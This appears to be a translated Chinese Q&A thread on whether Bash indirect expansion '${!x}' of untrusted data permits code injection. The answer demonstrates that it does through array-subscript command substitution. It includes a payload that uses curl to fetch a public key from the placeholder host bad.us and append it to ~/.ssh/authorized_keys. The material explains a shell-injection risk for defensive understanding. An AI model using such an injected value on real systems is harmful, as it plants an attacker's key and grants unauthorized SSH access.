假设我有一个变量,x包含未知的任意数据.
以下间接扩展是否存在代码注入或其他形式漏洞的风险?
ARBITRARY_COMMAND "${!x}"
Run Code Online (Sandbox Code Playgroud)
我知道有些情况下,x为有用的现实生活场景指定的方式本身可能会带来风险,需要进行适当的控制或消毒,但我在这里假设x已经初始化的方式不能保证其价值但是,直到上面展示的扩展都没有暴露.
简而言之:是的,任何未知数据的自动扩展都存在潜在危险。
由gniourf_gniourf提供的答案:
x='a[$(ls>&2)]'当扩展 时
${!x},Bash 将扩展${a[$(ls>&2)]},这是一个数组扩展,因此数组键中的术语,即$(ls>&2),将被扩展...并且这将执行ls(输出到 stderr,以便我们都可以观察到 ls 确实被执行) 。
例如ls,您可以这样做:
x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]'
Run Code Online (Sandbox Code Playgroud)
当评估时${!x},会将一个潜在不友好的公钥附加到您的authorized_keys文件中,这可能允许不友好的人通过ssh进入您的帐户。